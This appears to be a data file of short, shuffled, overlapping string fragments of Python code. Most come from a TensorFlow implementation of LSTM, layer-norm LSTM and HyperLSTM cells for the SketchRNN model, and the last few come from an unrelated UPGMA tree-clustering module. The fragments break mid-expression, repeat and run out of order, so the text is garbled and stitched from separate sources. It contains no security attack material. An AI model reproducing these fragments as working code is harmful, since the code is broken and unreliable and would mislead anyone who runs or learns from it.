tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std = tf.rsqrt(var", "HyperLSTM cell. Args: num_units: int, The number of units in", "x_size = x.get_shape().as_list()[1] w_init = None # uniform h_init =", "tf.variable_scope(scope or 'linear'): if reuse: tf.get_variable_scope().reuse_variables() w_init = None #", "= tf.split(hh, 4, 1) ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh", "reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer Norm (faster version, but not", "without Memory Loss. https://arxiv.org/abs/1607.06450 - Layer Norm https://arxiv.org/abs/1603.05118 - Recurrent", "split Whh contributions ih, jh, fh, oh = tf.split(hh, 4,", "output_size, scope=None, reuse=False, init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs linear", "use this file except in compliance with the License. #", "import print_function import numpy as np import tensorflow.compat.v1 as tf", "def get_output(self, state): unused_c, h = tf.split(state, 2, 1) return", "hyperlstm input hyper_input = tf.concat([x, h], 1) hyper_output, hyper_new_state =", "+= beta return result def __call__(self, x, state, timestep=0, scope=None):", "but not using defun).\"\"\" # Performs layer norm on multiple", "keep_dims=True) inv_std = tf.rsqrt(var + epsilon) with tf.variable_scope(scope): if reuse:", "alpha = super_linear( zw, num_units, init_w='constant', weight_start=init_gamma / embedding_size, use_bias=False,", "x, state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): total_h, total_c", "= input_gate, j = new_input, f = forget_gate, o =", "(default 0.90) use_layer_norm: boolean. (default True) Controls whether we use", "LSTM cell. Uses ortho initializer, and also recurrent dropout without", "tf.reduce_mean(h_reshape, [2], keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True)", "o = output_gate i = ix + ih + ib", "int, The number of units in the LSTM cell. forget_bias:", "layer_norm_all(h, batch_size, base, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer", "= x.get_shape().as_list()[1] w_init = None # uniform h_init = lstm_ortho_initializer(1.0)", "= tf.get_variable( 'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0)) if use_bias: return", "self.num_units + self.hyper_num_units if self.use_layer_norm: cell_fn = LayerNormLSTMCell else: cell_fn", "return _initializer class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell. Uses ortho initializer,", "self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh =", "class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho Init, Layer Norm, Recurrent Dropout,", "= x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0] w_init = None # uniform", "keep_dims=True) std = tf.sqrt( tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True) +", "0) concat = tf.matmul(concat, w_full) #+ bias # live life", "in parallel h_reshape = tf.reshape(h, [batch_size, base, num_units]) mean =", "tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) concat = tf.concat([x, h],", "'ln_c')) * tf.sigmoid(o) return new_h, tf.concat([new_h, new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell):", "'hyper_fx', use_bias=False) ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False) # split Whh", "self.use_layer_norm = use_layer_norm self.hyper_num_units = hyper_num_units self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout", "= tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output = gamma * (x_shifted)", "h = tf.split(state, 2, 1) x_size = x.get_shape().as_list()[1] w_init =", "* num_units], initializer=tf.constant_initializer(0.0)) if use_bias: return gamma * h +", "in compliance with the License. # You may obtain a", "[batch_size, base, num_units]) mean = tf.reduce_mean(h_reshape, [2], keep_dims=True) var =", "software # distributed under the License is distributed on an", "h = total_h[:, 0:self.num_units] c = total_c[:, 0:self.num_units] self.hyper_state =", "Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False,", "get_output(self, state): total_h, unused_total_c = tf.split(state, 2, 1) h =", "'ln_all') i, j, f, o = tf.split(concat, 4, 1) if", "1) batch_size = x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1] self._input_size = x_size", "'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta', [num_units],", "reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias:", "* tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g new_h =", "tf.matmul(concat, w_full) + bias i, j, f, o = tf.split(hidden,", "* self.num_units], initializer=tf.constant_initializer(0.0)) concat = tf.concat([x, h], 1) w_full =", "number of units in the LSTM cell. forget_bias: float, The", ":size_h] = orthogonal([size_x, size_h]) * scale t[:, size_h:size_h * 2]", "epsilon = tf.constant(epsilon) rstd = tf.rsqrt(var + epsilon) h_reshape =", "weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb') beta = super_linear( zb, num_units, init_w='constant',", "= x.get_shape().as_list() with tf.variable_scope(scope or 'linear'): if reuse: tf.get_variable_scope().reuse_variables() w_init", "use_layer_norm self.hyper_num_units = hyper_num_units self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout", "reuse: tf.get_variable_scope().reuse_variables() w_init = None # uniform if input_size is", "recurrent dropout. Recommend turning this on only if hyper_num_units becomes", "License. \"\"\"SketchRNN RNN definition.\"\"\" from __future__ import absolute_import from __future__", "Memory Loss. https://arxiv.org/abs/1607.06450 - Layer Norm https://arxiv.org/abs/1603.05118 - Recurrent Dropout", "tf.concat([i, j, f, o], 1) concat = layer_norm_all(concat, batch_size, 4,", "1.0). use_recurrent_dropout: Whether to use Recurrent Dropout (default False) dropout_keep_prob:", "input_size(self): return self.num_units @property def output_size(self): return self.num_units @property def", "[self.num_units, 4 * self.num_units], initializer=h_init) concat = tf.concat([x, h], 1)", "result += beta return result def __call__(self, x, state, timestep=0,", "c = tf.split(state, 2, 1) h_size = self.num_units x_size =", "tf.concat([new_c, new_h], 1) # fuk tuples. def layer_norm_all(h, batch_size, base,", "dropout keep probability (default 0.90) use_layer_norm: boolean. (default True) Controls", "self.num_units @property def state_size(self): return 2 * self.num_units def get_output(self,", "= tf.concat([x, h], 1) # concat for speed. w_full =", "1) # concat for speed. w_full = tf.concat([w_xh, w_hh], 0)", "bias_start=1.0, scope='zw') alpha = super_linear( zw, num_units, init_w='constant', weight_start=init_gamma /", "back to original h = tf.reshape(h_reshape, [batch_size, base * num_units])", "tf.sigmoid(i) * g new_h = tf.tanh(new_c) * tf.sigmoid(o) return new_h,", "= cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def input_size(self): return self._input_size", "= tf.reshape(h_reshape, [batch_size, base * num_units]) with tf.variable_scope(scope): if reuse:", "scope='beta') result += beta return result def __call__(self, x, state,", "np.prod(shape[1:])) a = np.random.normal(0.0, 1.0, flat_shape) u, _, v =", "with the License. # You may obtain a copy of", "life without garbage. # i = input_gate, j = new_input,", "i, g, j, o for lstm) # Reshapes h in", "'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w) + b return", "c, h = tf.split(state, 2, 1) x_size = x.get_shape().as_list()[1] w_init", "= jx + jh + jb f = fx +", "self.num_units @property def output_size(self): return self.num_units @property def state_size(self): return", "q = u if u.shape == flat_shape else v return", "class LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell. Uses ortho initializer, and also", "3:] = orthogonal([size_x, size_h]) * scale return tf.constant(t, dtype) return", "0:self.num_units] self.hyper_state = tf.concat( [total_h[:, self.num_units:], total_c[:, self.num_units:]], 1) batch_size", "initializer=tf.constant_initializer(0.0)) output = gamma * (x_shifted) * inv_std if use_bias:", "super_linear( zw, num_units, init_w='constant', weight_start=init_gamma / embedding_size, use_bias=False, scope='alpha') result", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "b = tf.get_variable( 'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w)", "= num_units self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob =", "@property def output_size(self): return self.num_units def get_output(self, state): unused_c, h", "return h def __call__(self, x, state, scope=None): with tf.variable_scope(scope or", "w_init = tf.random_normal_initializer(stddev=weight_start) elif init_w == 'ortho': w_init = lstm_ortho_initializer(1.0)", "beta = super_linear( zb, num_units, init_w='constant', weight_start=0.00, use_bias=False, scope='beta') result", "= tf.concat([new_h, hyper_h], 1) new_total_c = tf.concat([new_c, hyper_c], 1) new_total_state", "tf.split(state, 2, 1) return h def __call__(self, x, state, timestep=0,", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "= self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False) #", "* 2] = orthogonal([size_x, size_h]) * scale t[:, size_h *", "= use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def input_size(self): return self.num_units", "hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer Norm HyperLSTM cell. Args:", "for hyperlstm input hyper_input = tf.concat([x, h], 1) hyper_output, hyper_new_state", "without Memory Loss \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90):", "CONDITIONS OF ANY KIND, either express or implied. # See", "c = total_c[:, 0:self.num_units] self.hyper_state = tf.concat( [total_h[:, self.num_units:], total_c[:,", "new_c = c * tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) *", "scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer Norm (faster version, but", "h_init = lstm_ortho_initializer(1.0) # Keep W_xh and W_hh separate here", "layer norm on multiple base at once (ie, i, g,", "= lstm_ortho_initializer(1.0) # Keep W_xh and W_hh separate here as", "tf.constant_initializer(weight_start) elif init_w == 'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start) elif init_w", "= tf.get_variable( 'ln_gamma', [4 * num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta", "Init. and Recurrent Dropout without Memory Loss. https://arxiv.org/abs/1607.06450 - Layer", "= orthogonal([size_x, size_h]) * scale return tf.constant(t, dtype) return _initializer", "'hyper_ix', use_bias=False) jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx = self.hyper_norm(fx,", "batch_size = x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1] self._input_size = x_size w_init", "contrib_rnn def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape = (shape[0], np.prod(shape[1:])) a", "j = new_input, f = forget_gate, o = output_gate i", "= tf.split(state, 2, 1) h = total_h[:, 0:self.num_units] c =", "hyper_output self.hyper_state = hyper_new_state xh = tf.matmul(x, w_xh) hh =", "= self.hyper_norm(oh, 'hyper_oh', use_bias=True) # split bias ib, jb, fb,", "self.hyper_norm(ox, 'hyper_ox', use_bias=False) # split Whh contributions ih, jh, fh,", "\"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the Layer", "new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o) hyper_h, hyper_c =", "axes, keep_dims=True) + epsilon) output = (x - mean) /", "= np.zeros(shape) t[:, :size_h] = orthogonal([size_x, size_h]) * scale t[:,", "= forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm =", "= tf.constant_initializer(0.0) elif init_w == 'constant': w_init = tf.constant_initializer(weight_start) elif", "Init, Layer Norm, Recurrent Dropout, no Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/", "in HyperLSTM cell. (default is 128, recommend experimenting with 256", "to be broadcasted. # i = input_gate, j = new_input,", "* g new_h = tf.tanh(new_c) * tf.sigmoid(o) return new_h, tf.concat([new_c,", "= tf.matmul(x, w_xh) hh = tf.matmul(h, w_hh) # split Wxh", "LSTM & HyperLSTM cell. hyper_num_units: int, number of units in", "embedding_size, init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw') alpha = super_linear( zw,", "boolean. (default False) Controls whether HyperLSTM cell also uses recurrent", "return tf.constant(orthogonal(shape) * scale, dtype) return _initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM", "= dropout_keep_prob @property def state_size(self): return 2 * self.num_units @property", "concat = tf.concat([i, j, f, o], 1) concat = layer_norm_all(concat,", "[x_size, 4 * self.num_units], initializer=w_init) w_hh = tf.get_variable( 'W_hh', [self.num_units,", "= tf.reshape(h, [batch_size, base, num_units]) mean = tf.reduce_mean(h_reshape, [2], keep_dims=True)", "to perform layer norm in parallel h_reshape = tf.reshape(h, [batch_size,", "# i = input_gate, j = new_input, f = forget_gate,", "int, number of units in HyperLSTM cell. (default is 128,", "t[:, :size_h] = orthogonal([size_x, size_h]) * scale t[:, size_h:size_h *", "scope=None): with tf.variable_scope(scope or type(self).__name__): c, h = tf.split(state, 2,", "= tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) concat =", "gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer Norm (faster version, but not using", "self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property", "total_h[:, 0:self.num_units] return h def hyper_norm(self, layer, scope='hyper', use_bias=True): num_units", "jh, fh, oh = tf.split(hh, 4, 1) ih = self.hyper_norm(ih,", "state_size(self): return 2 * self.num_units @property def output_size(self): return self.num_units", "Whether to use Recurrent Dropout (default False) dropout_keep_prob: float, dropout", "= tf.concat([new_c, hyper_c], 1) new_total_state = tf.concat([new_total_h, new_total_c], 1) return", "The number of units in the LSTM cell. forget_bias: float,", "* tf.sigmoid(o) hyper_h, hyper_c = tf.split(hyper_new_state, 2, 1) new_total_h =", "separate here as well to use different init methods. w_xh", "def __call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__):", "@property def output_size(self): return self.num_units @property def state_size(self): return 2", "(x_shifted) * inv_std if use_bias: output += beta return output", "w_hh = tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) concat", "= tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable(", "# reshape back to original h = tf.reshape(h_reshape, [batch_size, base", "'ln_c')) * tf.sigmoid(o) hyper_h, hyper_c = tf.split(hyper_new_state, 2, 1) new_total_h", "Dropout, no Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self, num_units,", "def input_size(self): return self._input_size @property def output_size(self): return self.num_units @property", "w_full) + bias i, j, f, o = tf.split(hidden, 4,", "if use_bias: zb = super_linear( self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False,", "[num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0))", "self.num_units:], total_c[:, self.num_units:]], 1) batch_size = x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1]", "forget_gate, o = output_gate i = ix + ih +", "# limitations under the License. \"\"\"SketchRNN RNN definition.\"\"\" from __future__", "init_w == 'constant': w_init = tf.constant_initializer(weight_start) elif init_w == 'gaussian':", "use_bias=False) jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx = self.hyper_norm(fx, 'hyper_fx',", "tf.split(hidden, 4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else:", "input hyper_input = tf.concat([x, h], 1) hyper_output, hyper_new_state = self.hyper_cell(hyper_input,", "ox + oh + ob if self.use_layer_norm: concat = tf.concat([i,", "concat = layer_norm_all(concat, batch_size, 4, h_size, 'ln_all') i, j, f,", "self.num_units:]], 1) batch_size = x.get_shape().as_list()[0] x_size = x.get_shape().as_list()[1] self._input_size =", "1) return h def __call__(self, x, state, scope=None): with tf.variable_scope(scope", "# uniform h_init = lstm_ortho_initializer(1.0) # Keep W_xh and W_hh", "* 3:] = orthogonal([size_x, size_h]) * scale return tf.constant(t, dtype)", "recommend experimenting with 256 for larger tasks) hyper_embedding_size: int, size", "= tf.concat([w_xh, w_hh], 0) hidden = tf.matmul(concat, w_full) + bias", "https://arxiv.org/abs/1607.06450 - Layer Norm https://arxiv.org/abs/1603.05118 - Recurrent Dropout without Memory", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "use_bias=True): num_units = self.num_units embedding_size = self.hyper_embedding_size # recurrent batch", "= tf.reduce_mean(x, axes, keep_dims=True) std = tf.sqrt( tf.reduce_mean(tf.square(x - mean),", "embedding_size, use_bias=False, scope='alpha') result = tf.multiply(alpha, layer) if use_bias: zb", "self.num_units, 'ln_c')) * tf.sigmoid(o) hyper_h, hyper_c = tf.split(hyper_new_state, 2, 1)", "[1] mean = tf.reduce_mean(x, axes, keep_dims=True) x_shifted = x -", "hyper_h], 1) new_total_c = tf.concat([new_c, hyper_c], 1) new_total_state = tf.concat([new_total_h,", "shape[0] size_h = shape[1] // 4 # assumes lstm. t", "# split bias ib, jb, fb, ob = tf.split(bias, 4,", "* h + beta return gamma * h def layer_norm(x,", "zb, num_units, init_w='constant', weight_start=0.00, use_bias=False, scope='beta') result += beta return", "Recommend turning this on only if hyper_num_units becomes large (>=", "dropout keep probability (default 0.90) \"\"\" self.num_units = num_units self.forget_bias", "= forget_gate, o = output_gate i = ix + ih", "tf.matmul(x, w_xh) hh = tf.matmul(h, w_hh) # split Wxh contributions", "The Magenta Authors. # # Licensed under the Apache License,", "g, j, o for lstm) # Reshapes h in to", "forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def input_size(self):", "tf.split(state, 2, 1) h = total_h[:, 0:self.num_units] c = total_c[:,", "tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True) + epsilon) output = (x", "Layer Norm https://arxiv.org/abs/1603.05118 - Recurrent Dropout without Memory Loss \"\"\"", "signals emitted from HyperLSTM cell. (default is 16, recommend trying", "Version 2.0 (the \"License\"); # you may not use this", "init_w='constant', weight_start=0.00, use_bias=False, scope='beta') result += beta return result def", "axes = [1] mean = tf.reduce_mean(x, axes, keep_dims=True) x_shifted =", "def __call__(self, x, state, scope=None): with tf.variable_scope(scope or type(self).__name__): c,", "__future__ import absolute_import from __future__ import division from __future__ import", "= total_h[:, 0:self.num_units] return h def hyper_norm(self, layer, scope='hyper', use_bias=True):", "cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def input_size(self): return self._input_size @property", "[4 * num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta',", "x.get_shape().as_list() with tf.variable_scope(scope or 'linear'): if reuse: tf.get_variable_scope().reuse_variables() w_init =", "(default False) Controls whether HyperLSTM cell also uses recurrent dropout.", "rstd = tf.rsqrt(var + epsilon) h_reshape = (h_reshape - mean)", "by applicable law or agreed to in writing, software #", "# split Whh contributions ih, jh, fh, oh = tf.split(hh,", "Controls whether we use LayerNorm layers in main LSTM &", "fh + fb o = ox + oh + ob", "num_units, init_w='constant', weight_start=0.00, use_bias=False, scope='beta') result += beta return result", "LSTMCell(contrib_rnn.RNNCell): \"\"\"Vanilla LSTM cell. Uses ortho initializer, and also recurrent", "or type(self).__name__): h, c = tf.split(state, 2, 1) h_size =", "= total_h[:, 0:self.num_units] c = total_c[:, 0:self.num_units] self.hyper_state = tf.concat(", "output_size(self): return self.num_units @property def state_size(self): return 2 * self.num_units", "contributions ih, jh, fh, oh = tf.split(hh, 4, 1) ih", "size_h * 3:] = orthogonal([size_x, size_h]) * scale return tf.constant(t,", "beta return result def __call__(self, x, state, timestep=0, scope=None): with", "and W_hh separate here as well to use different init", "#+ bias # live life without garbage. # i =", "inv_std = tf.rsqrt(var + epsilon) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables()", "self.num_units], initializer=h_init) bias = tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0))", "of units in the LSTM cell. forget_bias: float, The bias", "tensorflow.contrib import rnn as contrib_rnn def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape", "self.forget_bias = forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm", "if u.shape == flat_shape else v return q.reshape(shape) def orthogonal_initializer(scale=1.0):", "uses recurrent dropout. Recommend turning this on only if hyper_num_units", "= [1] mean = tf.reduce_mean(x, axes, keep_dims=True) std = tf.sqrt(", "tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w) + b return tf.matmul(x, w)", "= shape[1] // 4 # assumes lstm. t = np.zeros(shape)", "linear operation. Uses ortho init defined earlier.\"\"\" shape = x.get_shape().as_list()", "tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho Init. and Recurrent", "j = new_input, f = forget_gate, o = output_gate concat", "t[:, size_h:size_h * 2] = orthogonal([size_x, size_h]) * scale t[:,", "input and hidden states for hyperlstm input hyper_input = tf.concat([x,", "as tf from tensorflow.contrib import rnn as contrib_rnn def orthogonal(shape):", "trying larger values for large datasets) hyper_use_recurrent_dropout: boolean. (default False)", "scope=None): with tf.variable_scope(scope or type(self).__name__): h, c = tf.split(state, 2,", "applicable law or agreed to in writing, software # distributed", "t[:, size_h * 3:] = orthogonal([size_x, size_h]) * scale return", "# Keep W_xh and W_hh separate here as well to", "recurrent batch norm init trick (https://arxiv.org/abs/1603.09025). init_gamma = 0.10 #", "new_input, f = forget_gate, o = output_gate i = ix", "x_shifted = x - mean var = tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True)", "1) ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh = self.hyper_norm(jh, 'hyper_jh',", "LayerNorm layers in main LSTM & HyperLSTM cell. hyper_num_units: int,", "keep_dims=True) epsilon = tf.constant(epsilon) rstd = tf.rsqrt(var + epsilon) h_reshape", "- mean), axes, keep_dims=True) + epsilon) output = (x -", "norm on multiple base at once (ie, i, g, j,", "permissions and # limitations under the License. \"\"\"SketchRNN RNN definition.\"\"\"", "Authors. # # Licensed under the Apache License, Version 2.0", "with Ortho Init, Layer Norm, Recurrent Dropout, no Memory Loss.", "reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [4 * num_units], initializer=tf.constant_initializer(gamma_start))", "super_linear( zb, num_units, init_w='constant', weight_start=0.00, use_bias=False, scope='beta') result += beta", "use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def state_size(self): return 2 *", "float, dropout keep probability (default 0.90) use_layer_norm: boolean. (default True)", "self.num_units], initializer=w_init) w_hh = tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units],", "oh = tf.split(hh, 4, 1) ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True)", "# You may obtain a copy of the License at", "if use_bias: output += beta return output def raw_layer_norm(x, epsilon=1e-3):", "* scale t[:, size_h * 3:] = orthogonal([size_x, size_h]) *", "be broadcasted. # i = input_gate, j = new_input, f", "b return tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho Init.", "Uses ortho initializer, and also recurrent dropout without memory loss", "\"\"\"Initialize the Layer Norm HyperLSTM cell. Args: num_units: int, The", "tf.split(state, 2, 1) x_size = x.get_shape().as_list()[1] w_init = None #", "return output def raw_layer_norm(x, epsilon=1e-3): axes = [1] mean =", "= tf.split(concat, 4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob)", "under the License. \"\"\"SketchRNN RNN definition.\"\"\" from __future__ import absolute_import", "multiple base at once (ie, i, g, j, o for", "= tf.random_normal_initializer(stddev=weight_start) elif init_w == 'ortho': w_init = lstm_ortho_initializer(1.0) w", "live life without garbage. # i = input_gate, j =", "128, recommend experimenting with 256 for larger tasks) hyper_embedding_size: int,", "output_size(self): return self.num_units def get_output(self, state): unused_c, h = tf.split(state,", "jh + jb f = fx + fh + fb", "return output def super_linear(x, output_size, scope=None, reuse=False, init_w='ortho', weight_start=0.0, use_bias=True,", "forget_gate, o = output_gate concat = layer_norm_all(concat, batch_size, 4, h_size,", "= self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True) #", "orthogonal([size_x, size_h]) * scale t[:, size_h:size_h * 2] = orthogonal([size_x,", "hyper_use_recurrent_dropout self.total_num_units = self.num_units + self.hyper_num_units if self.use_layer_norm: cell_fn =", "= output_gate concat = layer_norm_all(concat, batch_size, 4, h_size, 'ln_all') i,", "# uniform h_init = lstm_ortho_initializer(1.0) w_xh = tf.get_variable( 'W_xh', [x_size,", "jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False) fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False)", "rnn as contrib_rnn def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape = (shape[0],", "tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [4 *", "import numpy as np import tensorflow.compat.v1 as tf from tensorflow.contrib", "= tf.reduce_mean(h_reshape, [2], keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape - mean), [2],", "= total_c[:, 0:self.num_units] self.hyper_state = tf.concat( [total_h[:, self.num_units:], total_c[:, self.num_units:]],", "x_size w_init = None # uniform h_init = lstm_ortho_initializer(1.0) w_xh", "if input_size is None: x_size = shape[1] else: x_size =", "\"License\"); # you may not use this file except in", "tf.get_variable( 'ln_gamma', [num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta',", "self.hyper_norm(fh, 'hyper_fh', use_bias=True) oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True) # split", "= super_linear( zw, num_units, init_w='constant', weight_start=init_gamma / embedding_size, use_bias=False, scope='alpha')", "use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer Norm HyperLSTM cell.", "cell_fn = LayerNormLSTMCell else: cell_fn = LSTMCell self.hyper_cell = cell_fn(", "== flat_shape else v return q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\"", "cell. Args: num_units: int, The number of units in the", "__call__(self, x, state, scope=None): with tf.variable_scope(scope or type(self).__name__): c, h", "numpy as np import tensorflow.compat.v1 as tf from tensorflow.contrib import", "orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape = (shape[0], np.prod(shape[1:])) a = np.random.normal(0.0,", "cell. (default is 128, recommend experimenting with 256 for larger", "v = np.linalg.svd(a, full_matrices=False) q = u if u.shape ==", "zb = super_linear( self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb')", "states for hyperlstm input hyper_input = tf.concat([x, h], 1) hyper_output,", "assumes lstm. t = np.zeros(shape) t[:, :size_h] = orthogonal([size_x, size_h])", "mean var = tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True) inv_std = tf.rsqrt(var +", "= use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm = use_layer_norm self.hyper_num_units =", "= ox + oh + ob if self.use_layer_norm: concat =", "use_bias: beta = tf.get_variable( 'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0)) if", "= fx + fh + fb o = ox +", "ix + ih + ib j = jx + jh", "np.random.normal(0.0, 1.0, flat_shape) u, _, v = np.linalg.svd(a, full_matrices=False) q", "self.hyper_output, embedding_size, init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw') alpha = super_linear(", "self.use_layer_norm: cell_fn = LayerNormLSTMCell else: cell_fn = LSTMCell self.hyper_cell =", "i, j, f, o = tf.split(concat, 4, 1) if self.use_recurrent_dropout:", "'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) concat = tf.concat([x, h], 1)" ]
[ "UPGMA clustering elements on the diagonal should first be substituted", "import PhyloNode from cogent3.util.dict_array import DictArray __author__ = \"<NAME>\" __copyright__", "node2.parent = new_node # replace the object at index1 with", "the matrix. WARNING: Changes matrix in-place. WARNING: Expects matrix to", "= node_order[index2] # get the distance between the nodes and", "with None. Also sets the branch length of the nodes", "the values for the two indices are averaged. The resulting", "on smallest_index info This function is used to create a", "array and get the index of the lowest number matrix1D", "node_order): \"\"\"condenses two nodes in node_order based on smallest_index info", "is replaced with a node object that combines the two", "the rows and make a new vector that has their", "rest if the values in the array.\"\"\" # get the", "tree = None for i in range(num_entries - 1): smallest_index", "cogent3.core.tree import PhyloNode from cogent3.util.dict_array import DictArray __author__ = \"<NAME>\"", "columns indicated by smallest_index Smallest index is returned from find_smallest_index.", "UPGMA algorithm to cluster sequences pairwise_distances: a dictionary with pair", "two nodes into a new PhyloNode object new_node = PhyloNode()", "of the UPGMA cluster \"\"\" import numpy from numpy import", "PhyloNode() new_node.children.append(node1) new_node.children.append(node2) node1.parent = 